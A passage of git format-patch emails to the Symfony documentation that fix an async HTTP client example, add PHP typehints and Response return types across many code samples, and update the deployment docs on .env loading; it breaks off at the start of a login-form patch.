Subject: [PATCH 0014/5766] use the right method when dealing with promises

sendRequest() returns a response, not a promise, and we can't use then() on a response
---
 http_client.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_client.rst b/http_client.rst
index 4db3784f853..7591152da85 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1291,7 +1291,7 @@ Then you're ready to go::
 
     $httpClient = new HttplugClient();
     $request = $httpClient->createRequest('GET', 'https://my.api.com/');
-    $promise = $httpClient->sendRequest($request)
+    $promise = $httpClient->sendAsyncRequest($request)
         ->then(
             function (ResponseInterface $response) {
                 echo 'Got status '.$response->getStatusCode();

From 09a9aa0d903f154e4c62654e2c652c7750a72c58 Mon Sep 17 00:00:00 2001
From: Ahmed TAILOULOUTE <ahmed.tailouloute@gmail.com>
Date: Mon, 30 Dec 2019 08:44:27 +0100
Subject: [PATCH 0015/5766] Update typehints

---
 components/asset.rst                        |  4 ++--
 configuration/env_var_processors.rst        |  2 +-
 form/data_mappers.rst                       |  4 ++--
 form/type_guesser.rst                       | 12 ++++++------
 forms.rst                                   |  2 +-
 frontend/custom_version_strategy.rst        |  6 +++---
 reference/dic_tags.rst                      |  4 ++--
 security/access_control.rst                 |  2 +-
 security/custom_authentication_provider.rst |  2 +-
 security/user_provider.rst                  |  6 +++---
 serializer/custom_encoders.rst              |  8 ++++----
 session/locale_sticky_session.rst           |  2 +-
 12 files changed, 27 insertions(+), 27 deletions(-)

diff --git a/components/asset.rst b/components/asset.rst
index 20b5ce20b2d..48e51754449 100644
--- a/components/asset.rst
+++ b/components/asset.rst
@@ -200,12 +200,12 @@ every day::
             $this->version = date('Ymd');
         }
 
-        public function getVersion($path)
+        public function getVersion(string $path)
         {
             return $this->version;
         }
 
-        public function applyVersion($path)
+        public function applyVersion(string $path)
         {
             return sprintf('%s?v=%s', $path, $this->getVersion($path));
         }
diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index b9782d270cd..464bf7af984 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -631,7 +631,7 @@ create a class that implements
 
     class LowercasingEnvVarProcessor implements EnvVarProcessorInterface
     {
-        public function getEnv($prefix, $name, \Closure $getEnv)
+        public function getEnv(string $prefix, string $name, \Closure $getEnv)
         {
             $env = $getEnv($name);
 
diff --git a/form/data_mappers.rst b/form/data_mappers.rst
index 15e66ce54b3..54081c09e47 100644
--- a/form/data_mappers.rst
+++ b/form/data_mappers.rst
@@ -98,7 +98,7 @@ in your form type::
         /**
          * @param Color|null $viewData
          */
-        public function mapDataToForms($viewData, $forms)
+        public function mapDataToForms($viewData, iterable $forms)
         {
             // there is no data yet, so nothing to prepopulate
             if (null === $viewData) {
@@ -119,7 +119,7 @@ in your form type::
             $forms['blue']->setData($viewData->getBlue());
         }
 
-        public function mapFormsToData($forms, &$viewData)
+        public function mapFormsToData(iterable $forms, &$viewData)
         {
             /** @var FormInterface[] $forms */
             $forms = iterator_to_array($forms);
diff --git a/form/type_guesser.rst b/form/type_guesser.rst
index f990aad4115..13f54999692 100644
--- a/form/type_guesser.rst
+++ b/form/type_guesser.rst
@@ -43,19 +43,19 @@ Start by creating the class and these methods. Next, you'll learn how to fill ea
 
     class PHPDocTypeGuesser implements FormTypeGuesserInterface
     {
-        public function guessType($class, $property)
+        public function guessType(string $class, string $property)
         {
         }
 
-        public function guessRequired($class, $property)
+        public function guessRequired(string $class, string $property)
         {
         }
 
-        public function guessMaxLength($class, $property)
+        public function guessMaxLength(string $class, string $property)
         {
         }
 
-        public function guessPattern($class, $property)
+        public function guessPattern(string $class, string $property)
         {
         }
     }
@@ -94,7 +94,7 @@ With this knowledge, you can implement the ``guessType()`` method of the
 
     class PHPDocTypeGuesser implements FormTypeGuesserInterface
     {
-        public function guessType($class, $property)
+        public function guessType(string $class, string $property)
         {
             $annotations = $this->readPhpDocAnnotations($class, $property);
 
@@ -129,7 +129,7 @@ With this knowledge, you can implement the ``guessType()`` method of the
             }
         }
 
-        protected function readPhpDocAnnotations($class, $property)
+        protected function readPhpDocAnnotations(string $class, string $property)
         {
             $reflectionProperty = new \ReflectionProperty($class, $property);
             $phpdoc = $reflectionProperty->getDocComment();
diff --git a/forms.rst b/forms.rst
index 5867d2f07d1..ec5a04fcfc1 100644
--- a/forms.rst
+++ b/forms.rst
@@ -672,7 +672,7 @@ Set the ``label`` option on fields to define their labels explicitly::
 
     ->add('dueDate', DateType::class, [
         // set it to FALSE to not display the label for this field
-        'label'  => 'To Be Completed Before',
+        'label' => 'To Be Completed Before',
     ])
 
 .. tip::
diff --git a/frontend/custom_version_strategy.rst b/frontend/custom_version_strategy.rst
index 6361ba632c0..0fe3f5ff987 100644
--- a/frontend/custom_version_strategy.rst
+++ b/frontend/custom_version_strategy.rst
@@ -71,13 +71,13 @@ version string::
          * @param string      $manifestPath
          * @param string|null $format
          */
-        public function __construct($manifestPath, $format = null)
+        public function __construct(string $manifestPath, string $format = null)
         {
             $this->manifestPath = $manifestPath;
             $this->format = $format ?: '%s?%s';
         }
 
-        public function getVersion($path)
+        public function getVersion(string $path)
         {
             if (!is_array($this->hashes)) {
                 $this->hashes = $this->loadManifest();
@@ -86,7 +86,7 @@ version string::
             return isset($this->hashes[$path]) ? $this->hashes[$path] : '';
         }
 
-        public function applyVersion($path)
+        public function applyVersion(string $path)
         {
             $version = $this->getVersion($path);
 
diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index f7f43dca376..0aca3c91777 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -410,7 +410,7 @@ service class::
 
     class MyClearer implements CacheClearerInterface
     {
-        public function clear($cacheDirectory)
+        public function clear(string $cacheDirectory)
         {
             // clear your cache
         }
@@ -1062,7 +1062,7 @@ required option: ``alias``, which defines the name of the extractor::
         /**
          * Sets the prefix that should be used for new found messages.
          */
-        public function setPrefix($prefix)
+        public function setPrefix(string $prefix)
         {
             $this->prefix = $prefix;
         }
diff --git a/security/access_control.rst b/security/access_control.rst
index 9b345b87a24..b02b9057424 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -92,7 +92,7 @@ Take the following ``access_control`` entries as an example:
                     'path' => '^/admin',
                     'roles' => 'ROLE_USER_METHOD',
                     'methods' => 'POST, PUT',
-                ]
+                ],
             ],
         ]);
 
diff --git a/security/custom_authentication_provider.rst b/security/custom_authentication_provider.rst
index 3199128b26a..4a0a5be4407 100644
--- a/security/custom_authentication_provider.rst
+++ b/security/custom_authentication_provider.rst
@@ -410,7 +410,7 @@ to service ids that may not exist yet: ``App\Security\Authentication\Provider\Ws
 
             <services>
                 <service id="App\Security\Authentication\Provider\WsseProvider">
-                    <argument key="$cachePool" type="service" id="cache.app"></argument>
+                    <argument key="$cachePool" type="service" id="cache.app"/>
                 </service>
 
                 <service id="App\Security\Firewall\WsseListener">
diff --git a/security/user_provider.rst b/security/user_provider.rst
index 000a7a49a38..5fcf19f3bf2 100644
--- a/security/user_provider.rst
+++ b/security/user_provider.rst
@@ -135,7 +135,7 @@ interface only requires one method: ``loadUserByUsername($username)``::
     {
         // ...
 
-        public function loadUserByUsername($usernameOrEmail)
+        public function loadUserByUsername(string $usernameOrEmail)
         {
             $entityManager = $this->getEntityManager();
             
@@ -376,7 +376,7 @@ command will generate a nice skeleton to get you started::
          *
          * @throws UsernameNotFoundException if the user is not found
          */
-        public function loadUserByUsername($username)
+        public function loadUserByUsername(string $username)
         {
             // Load a User object from your data source or throw UsernameNotFoundException.
             // The $username argument may not actually be a username:
@@ -412,7 +412,7 @@ command will generate a nice skeleton to get you started::
         /**
          * Tells Symfony to use this provider for this User class.
          */
-        public function supportsClass($class)
+        public function supportsClass(string $class)
         {
             return User::class === $class || is_subclass_of($class, User::class);
         }
diff --git a/serializer/custom_encoders.rst b/serializer/custom_encoders.rst
index 5bb78def4e4..e6bae859336 100644
--- a/serializer/custom_encoders.rst
+++ b/serializer/custom_encoders.rst
@@ -27,22 +27,22 @@ create your own encoder that uses the
 
     class YamlEncoder implements EncoderInterface, DecoderInterface
     {
-        public function encode($data, $format, array $context = [])
+        public function encode($data, string $format, array $context = [])
         {
             return Yaml::dump($data);
         }
 
-        public function supportsEncoding($format)
+        public function supportsEncoding(string $format)
         {
             return 'yaml' === $format;
         }
 
-        public function decode($data, $format, array $context = [])
+        public function decode(string $data, string $format, array $context = [])
         {
             return Yaml::parse($data);
         }
 
-        public function supportsDecoding($format)
+        public function supportsDecoding(string $format)
         {
             return 'yaml' === $format;
         }
diff --git a/session/locale_sticky_session.rst b/session/locale_sticky_session.rst
index f8caef23370..056f2a674cb 100644
--- a/session/locale_sticky_session.rst
+++ b/session/locale_sticky_session.rst
@@ -28,7 +28,7 @@ correct locale however you want::
     {
         private $defaultLocale;
 
-        public function __construct($defaultLocale = 'en')
+        public function __construct(string $defaultLocale = 'en')
         {
             $this->defaultLocale = $defaultLocale;
         }

From b905b571fa8368f1b01600aaf337ae750a4d4956 Mon Sep 17 00:00:00 2001
From: Cristi Contiu <cristian.contiu@bixel.ro>
Date: Sat, 8 Feb 2020 21:47:34 +0200
Subject: [PATCH 0016/5766] Update deployment docs with new .env loading

---
 deployment.rst | 20 ++++++++++++++------
 1 file changed, 14 insertions(+), 6 deletions(-)

diff --git a/deployment.rst b/deployment.rst
index 85b772b3a55..5d02bae0e58 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -126,21 +126,29 @@ While developing locally, you'll usually store these in ``.env`` and ``.env.loca
 
 1. Create "real" environment variables. How you set environment variables, depends
    on your setup: they can be set at the command line, in your Nginx configuration,
-   or via other methods provided by your hosting service.
+   or via other methods provided by your hosting service;
 
-2. Or, create a ``.env.local`` file like your local development (see note below)
+2. Or, create a ``.env.local`` file like your local development.
 
 There is no significant advantage to either of the two options: use whatever is
 most natural in your hosting environment.
 
-.. note::
+.. tip::
+
+    You might not want your application to process the ``.env.*`` files on
+    every request. You can generate an optimized ``.env.local.php`` which
+    overrides all other configuration files:
+
+    .. code-block:: terminal
+
+        $ composer dump-env prod
 
-    If you use the ``.env.*`` files on production, you may need to move your
-    ``symfony/dotenv`` dependency from ``require-dev`` to ``require`` in ``composer.json``:
+    The generated file will contain all the configuration stored in ``.env``. If you
+    want to rely only on environment variables, generate one without any values using:
 
     .. code-block:: terminal
 
-        $ composer require symfony/dotenv
+        $ composer dump-env prod --empty
 
 C) Install/Update your Vendors
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From e1277a5d37ab10e5b86c2260ea62af0e231b5a60 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 18 Apr 2020 23:55:41 +0200
Subject: [PATCH 0017/5766] Added PHP typehints to getting started guides

---
 configuration.rst |  3 +-
 controller.rst    | 41 ++++++++++++++------
 page_creation.rst |  4 +-
 routing.rst       | 95 ++++++++++++++++++++++++++++++-----------------
 templates.rst     | 13 ++++---
 5 files changed, 102 insertions(+), 54 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 6efd3283733..e25e18efd5b 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -765,12 +765,13 @@ use the ``getParameter()`` helper::
     namespace App\Controller;
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
 
     class UserController extends AbstractController
     {
         // ...
 
-        public function index()
+        public function index(): Response
         {
             $projectDir = $this->getParameter('kernel.project_dir');
             $adminEmail = $this->getParameter('app.admin_email');
diff --git a/controller.rst b/controller.rst
index d29608e6128..212d0a2b509 100644
--- a/controller.rst
+++ b/controller.rst
@@ -36,7 +36,7 @@ class::
         /**
          * @Route("/lucky/number/{max}", name="app_lucky_number")
          */
-        public function number($max)
+        public function number(int $max): Response
         {
             $number = random_int(0, $max);
 
@@ -134,7 +134,7 @@ and ``redirect()`` methods::
     use Symfony\Component\HttpFoundation\RedirectResponse;
 
     // ...
-    public function index()
+    public function index(): RedirectResponse
     {
         // redirects to the "homepage" route
         return $this->redirectToRoute('homepage');
@@ -196,12 +196,13 @@ If you need a service in a controller, type-hint an argument with its class
 (or interface) name. Symfony will automatically pass you the service you need::
 
     use Psr\Log\LoggerInterface;
+    use Symfony\Component\HttpFoundation\Response;
     // ...
 
     /**
      * @Route("/lucky/number/{max}")
      */
-    public function number($max, LoggerInterface $logger)
+    public function number(int $max, LoggerInterface $logger): Response
     {
         $logger->info('We are logging!');
         // ...
@@ -322,10 +323,11 @@ Managing Errors and 404 Pages
 When things are not found, you should return a 404 response. To do this, throw a
 special type of exception::
 
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\HttpKernel\Exception\NotFoundHttpException;
 
     // ...
-    public function index()
+    public function index(): Response
     {
         // retrieve the object from database
         $product = ...;
@@ -370,8 +372,10 @@ object. To access it in your controller, add it as an argument and
 **type-hint it with the Request class**::
 
     use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
+    // ...
 
-    public function index(Request $request, $firstName, $lastName)
+    public function index(Request $request, string $firstName, string $lastName): Response
     {
         $page = $request->query->get('page', 1);
 
@@ -401,9 +405,11 @@ Session storage and other configuration can be controlled under the
 To get the session, add an argument and type-hint it with
 :class:`Symfony\\Component\\HttpFoundation\\Session\\SessionInterface`::
 
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\HttpFoundation\Session\SessionInterface;
+    // ...
 
-    public function index(SessionInterface $session)
+    public function index(SessionInterface $session): Response
     {
         // stores an attribute for reuse during a later user request
         $session->set('foo', 'bar');
@@ -413,6 +419,8 @@ To get the session, add an argument and type-hint it with
 
         // uses a default value if the attribute doesn't exist
         $filters = $session->get('filters', []);
+
+        // ...
     }
 
 Stored attributes remain in the session for the remainder of that user's session.
@@ -435,8 +443,10 @@ from the session automatically as soon as you retrieve them. This feature makes
 For example, imagine you're processing a :doc:`form </forms>` submission::
 
     use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
+    // ...
 
-    public function update(Request $request)
+    public function update(Request $request): Response
     {
         // ...
 
@@ -515,8 +525,9 @@ pass the ``Request`` object to any controller argument that is type-hinted with
 the ``Request`` class::
 
     use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
 
-    public function index(Request $request)
+    public function index(Request $request): Response
     {
         $request->isXmlHttpRequest(); // is it an Ajax request?
 
@@ -572,7 +583,7 @@ To get the value of any :ref:`configuration parameter <configuration-parameters>
 from a controller, use the ``getParameter()`` helper method::
 
     // ...
-    public function index()
+    public function index(): Response
     {
         $contentsDir = $this->getParameter('kernel.project_dir').'/contents';
         // ...
@@ -584,8 +595,10 @@ Returning JSON Response
 To return JSON from a controller, use the ``json()`` helper method. This returns a
 ``JsonResponse`` object that encodes the data automatically::
 
+    use Symfony\Component\HttpFoundation\Response;
     // ...
-    public function index()
+
+    public function index(): Response
     {
         // returns '{"username":"jane.doe"}' and sets the proper Content-Type header
         return $this->json(['username' => 'jane.doe']);
@@ -604,7 +617,10 @@ Streaming File Responses
 You can use the :method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::file`
 helper to serve a file from inside a controller::
 
-    public function download()
+    use Symfony\Component\HttpFoundation\Response;
+    // ...
+
+    public function download(): Response
     {
         // send the file contents and force the browser to download it
         return $this->file('/path/to/some_file.pdf');
@@ -614,8 +630,9 @@ The ``file()`` helper provides some arguments to configure its behavior::
 
     use Symfony\Component\HttpFoundation\File\File;
     use Symfony\Component\HttpFoundation\ResponseHeaderBag;
+    // ...
 
-    public function download()
+    public function download(): Response
     {
         // load the file from the filesystem
         $file = new File('/path/to/some_file.pdf');
diff --git a/page_creation.rst b/page_creation.rst
index 1835308804e..90096beb4d4 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -226,13 +226,15 @@ variable so you can use it in Twig::
     // src/Controller/LuckyController.php
     namespace App\Controller;
 
+    use Symfony\Component\HttpFoundation\Response;
     // ...
+
     class LuckyController extends AbstractController
     {
         /**
          * @Route("/lucky/number")
          */
-        public function number()
+        public function number(): Response
         {
             $number = random_int(0, 100);
 
diff --git a/routing.rst b/routing.rst
index 75755c31d40..5aaebf659cd 100644
--- a/routing.rst
+++ b/routing.rst
@@ -53,6 +53,7 @@ do so, create a :doc:`controller class </controller>` like the following::
     namespace App\Controller;
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing\Annotation\Route;
 
     class BlogController extends AbstractController
@@ -60,7 +61,7 @@ do so, create a :doc:`controller class </controller>` like the following::
         /**
          * @Route("/blog", name="blog_list")
          */
-        public function list()
+        public function list(): Response
         {
             // ...
         }
@@ -161,14 +162,16 @@ Use the ``methods`` option to restrict the verbs each route should respond to:
         // src/Controller/BlogApiController.php
         namespace App\Controller;
 
-        // ...
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
+        use Symfony\Component\Routing\Annotation\Route;
 
         class BlogApiController extends AbstractController
         {
             /**
              * @Route("/api/posts/{id}", methods={"GET","HEAD"})
              */
-            public function show(int $id)
+            public function show(int $id): Response
             {
                 // ... return a JSON response with the post
             }
@@ -176,7 +179,7 @@ Use the ``methods`` option to restrict the verbs each route should respond to:
             /**
              * @Route("/api/posts/{id}", methods={"PUT"})
              */
-            public function edit(int $id)
+            public function edit(int $id): Response
             {
                 // ... edit a post
             }
@@ -254,6 +257,7 @@ arbitrary matching logic:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class DefaultController extends AbstractController
@@ -268,7 +272,7 @@ arbitrary matching logic:
              * expressions can also include config parameters:
              * condition: "request.headers.get('User-Agent') matches '%app.allowed_browsers%'"
              */
-            public function contact()
+            public function contact(): Response
             {
                 // ...
             }
@@ -406,6 +410,7 @@ defined as ``/blog/{slug}``:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class BlogController extends AbstractController
@@ -415,7 +420,7 @@ defined as ``/blog/{slug}``:
             /**
              * @Route("/blog/{slug}", name="blog_show")
              */
-            public function show(string $slug)
+            public function show(string $slug): Response
             {
                 // $slug will equal the dynamic part of the URL
                 // e.g. at /blog/yay-routing, then $slug='yay-routing'
@@ -486,6 +491,7 @@ the ``{page}`` parameter using the ``requirements`` option:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class BlogController extends AbstractController
@@ -493,7 +499,7 @@ the ``{page}`` parameter using the ``requirements`` option:
             /**
              * @Route("/blog/{page}", name="blog_list", requirements={"page"="\d+"})
              */
-            public function list(int $page)
+            public function list(int $page): Response
             {
                 // ...
             }
@@ -501,7 +507,7 @@ the ``{page}`` parameter using the ``requirements`` option:
             /**
              * @Route("/blog/{slug}", name="blog_show")
              */
-            public function show($slug)
+            public function show(string $slug): Response
             {
                 // ...
             }
@@ -597,6 +603,7 @@ concise, but it can decrease route readability when requirements are complex:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class BlogController extends AbstractController
@@ -604,7 +611,7 @@ concise, but it can decrease route readability when requirements are complex:
             /**
              * @Route("/blog/{page<\d+>}", name="blog_list")
              */
-            public function list(int $page)
+            public function list(int $page): Response
             {
                 // ...
             }
@@ -665,6 +672,7 @@ other configuration formats they are defined with the ``defaults`` option:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class BlogController extends AbstractController
@@ -672,7 +680,7 @@ other configuration formats they are defined with the ``defaults`` option:
             /**
              * @Route("/blog/{page}", name="blog_list", requirements={"page"="\d+"})
              */
-            public function list(int $page = 1)
+            public function list(int $page = 1): Response
             {
                 // ...
             }
@@ -756,6 +764,7 @@ parameter:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class BlogController extends AbstractController
@@ -763,7 +772,7 @@ parameter:
             /**
              * @Route("/blog/{page<\d+>?1}", name="blog_list")
              */
-            public function list(int $page)
+            public function list(int $page): Response
             {
                 // ...
             }
@@ -831,6 +840,7 @@ controller action. Instead of ``string $slug``, add ``BlogPost $post``::
 
     use App\Entity\BlogPost;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing\Annotation\Route;
 
     class BlogController extends AbstractController
@@ -840,7 +850,7 @@ controller action. Instead of ``string $slug``, add ``BlogPost $post``::
         /**
          * @Route("/blog/{slug}", name="blog_show")
          */
-        public function show(BlogPost $post)
+        public function show(BlogPost $post): Response
         {
             // $post is the object whose slug matches the routing parameter
 
@@ -893,7 +903,10 @@ and in route imports. Symfony defines some special attributes with the same name
         // src/Controller/ArticleController.php
         namespace App\Controller;
 
-        // ...
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
+        use Symfony\Component\Routing\Annotation\Route;
+
         class ArticleController extends AbstractController
         {
             /**
@@ -907,7 +920,7 @@ and in route imports. Symfony defines some special attributes with the same name
              *     }
              * )
              */
-            public function search()
+            public function search(): Response
             {
             }
         }
@@ -982,14 +995,16 @@ the controllers of the routes:
         // src/Controller/BlogController.php
         namespace App\Controller;
 
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
-        class BlogController
+        class BlogController extends AbstractController
         {
             /**
              * @Route("/blog/{page}", name="blog_index", defaults={"page": 1, "title": "Hello world!"})
              */
-            public function index(int $page, string $title)
+            public function index(int $page, string $title): Response
             {
                 // ...
             }
@@ -1055,14 +1070,16 @@ A possible solution is to change the parameter requirements to be more permissiv
         // src/Controller/DefaultController.php
         namespace App\Controller;
 
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
-        class DefaultController
+        class DefaultController extends AbstractController
         {
             /**
              * @Route("/share/{token}", name="share", requirements={"token"=".+"})
              */
-            public function share($token)
+            public function share($token): Response
             {
                 // ...
             }
@@ -1143,17 +1160,19 @@ the common configuration using options when importing the routes.
         // src/Controller/BlogController.php
         namespace App\Controller;
 
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         /**
          * @Route("/blog", requirements={"_locale": "en|es|fr"}, name="blog_")
          */
-        class BlogController
+        class BlogController extends AbstractController
         {
             /**
              * @Route("/{_locale}", name="index")
              */
-            public function index()
+            public function index(): Response
             {
                 // ...
             }
@@ -1161,7 +1180,7 @@ the common configuration using options when importing the routes.
             /**
              * @Route("/{_locale}/posts/{slug}", name="show")
              */
-            public function show(Post $post)
+            public function show(Post $post): Response
             {
                 // ...
             }
@@ -1267,6 +1286,7 @@ information in a controller via the ``Request`` object::
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing\Annotation\Route;
 
     class BlogController extends AbstractController
@@ -1274,15 +1294,15 @@ information in a controller via the ``Request`` object::
         /**
          * @Route("/blog", name="blog_list")
          */
-        public function list(Request $request)
+        public function list(Request $request): Response
         {
-            // ...
-
             $routeName = $request->attributes->get('_route');
             $routeParameters = $request->attributes->get('_route_params');
 
             // use this to get all the available attributes (not only routing ones):
             $allAttributes = $request->attributes->all();
+
+            // ...
         }
     }
 
@@ -1467,6 +1487,7 @@ host name:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class MainController extends AbstractController
@@ -1474,7 +1495,7 @@ host name:
             /**
              * @Route("/", name="mobile_homepage", host="m.example.com")
              */
-            public function mobileHomepage()
+            public function mobileHomepage(): Response
             {
                 // ...
             }
@@ -1482,7 +1503,7 @@ host name:
             /**
              * @Route("/", name="homepage")
              */
-            public function homepage()
+            public function homepage(): Response
             {
                 // ...
             }
@@ -1546,6 +1567,7 @@ multi-tenant applications) and these parameters can be validated too with
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class MainController extends AbstractController
@@ -1559,7 +1581,7 @@ multi-tenant applications) and these parameters can be validated too with
              *     requirements={"subdomain"="m|mobile"}
              * )
              */
-            public function mobileHomepage()
+            public function mobileHomepage(): Response
             {
                 // ...
             }
@@ -1567,7 +1589,7 @@ multi-tenant applications) and these parameters can be validated too with
             /**
              * @Route("/", name="homepage")
              */
-            public function homepage()
+            public function homepage(): Response
             {
                 // ...
             }
@@ -1676,6 +1698,7 @@ avoids the need for duplicating routes, which also reduces the potential bugs:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class CompanyController extends AbstractController
@@ -1686,7 +1709,7 @@ avoids the need for duplicating routes, which also reduces the potential bugs:
              *     "nl": "/over-ons"
              * }, name="about_us")
              */
-            public function about()
+            public function about(): Response
             {
                 // ...
             }
@@ -1816,6 +1839,7 @@ use the ``generateUrl()`` helper::
     namespace App\Controller;
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing\Annotation\Route;
     use Symfony\Component\Routing\Generator\UrlGeneratorInterface;
 
@@ -1824,10 +1848,8 @@ use the ``generateUrl()`` helper::
         /**
          * @Route("/blog", name="blog_list")
          */
-        public function list()
+        public function list(): Response
         {
-            // ...
-
             // generate a URL with no route arguments
             $signUpPage = $this->generateUrl('sign_up');
 
@@ -1843,6 +1865,8 @@ use the ``generateUrl()`` helper::
             // when a route is localized, Symfony uses by default the current request locale
             // pass a different '_locale' value if you want to set the locale explicitly
             $signUpPageInDutch = $this->generateUrl('sign_up', ['_locale' => 'nl']);
+
+            // ...
         }
     }
 
@@ -2000,7 +2024,7 @@ This information can be configured per command too::
             $this->router = $router;
         }
 
-        protected function execute(InputInterface $input, OutputInterface $output)
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
             // these values override any global configuration
             $context = $this->router->getContext();
@@ -2101,6 +2125,7 @@ each route explicitly:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class SecurityController extends AbstractController
@@ -2108,7 +2133,7 @@ each route explicitly:
             /**
              * @Route("/login", name="login", schemes={"https"})
              */
-            public function login()
+            public function login(): Response
             {
                 // ...
             }
@@ -2222,7 +2247,7 @@ Here are some common errors you might see while working with routing:
 
 This happens when your controller method has an argument (e.g. ``$slug``)::
 
-    public function show($slug)
+    public function show(string $slug): Response
     {
         // ...
     }
diff --git a/templates.rst b/templates.rst
index fb30f9a7c03..f415eaa82e3 100644
--- a/templates.rst
+++ b/templates.rst
@@ -90,12 +90,13 @@ passes to it the needed variables::
     namespace App\Controller;
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
 
     class UserController extends AbstractController
     {
         // ...
 
-        public function notifications()
+        public function notifications(): Response
         {
             // get the user information and notifications somehow
             $userFirstName = '...';
@@ -191,6 +192,7 @@ Consider the following routing configuration:
         namespace App\Controller;
 
         // ...
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class BlogController extends AbstractController
@@ -198,7 +200,7 @@ Consider the following routing configuration:
             /**
              * @Route("/", name="blog_index")
              */
-            public function index()
+            public function index(): Response
             {
                 // ...
             }
@@ -206,7 +208,7 @@ Consider the following routing configuration:
             /**
              * @Route("/article/{slug}", name="blog_post")
              */
-            public function show(string $slug)
+            public function show(string $slug): Response
             {
                 // ...
             }
@@ -399,7 +401,7 @@ use the ``render()`` helper::
 
     class ProductController extends AbstractController
     {
-        public function index()
+        public function index(): Response
         {
             // ...
 
@@ -723,11 +725,12 @@ First, create the controller that renders a certain number of recent articles::
     // src/Controller/BlogController.php
     namespace App\Controller;
 
+    use Symfony\Component\HttpFoundation\Response;
     // ...
 
     class BlogController extends AbstractController
     {
-        public function recentArticles($max = 3)
+        public function recentArticles(int $max = 3): Response
         {
             // get the recent articles somehow (e.g. making a database query)
             $articles = ['...', '...', '...'];

From a4023d6e51d66745d1120a42ce26bc6cca63418c Mon Sep 17 00:00:00 2001
From: Martin Hujer <mail@martinhujer.cz>
Date: Wed, 11 Dec 2019 13:18:09 +0100
Subject: [PATCH 0018/5766] Security: How to Build a Login Form: sync with
 recent Maker Bundle changes

---
 security/form_login_setup.rst | 25 ++++++++++++++++---------
 1 file changed, 16 insertions(+), 9 deletions(-)

diff --git a/security/form_login_setup.rst b/security/form_login_setup.rst
index c52847f0dcc..2213e949fe8 100644
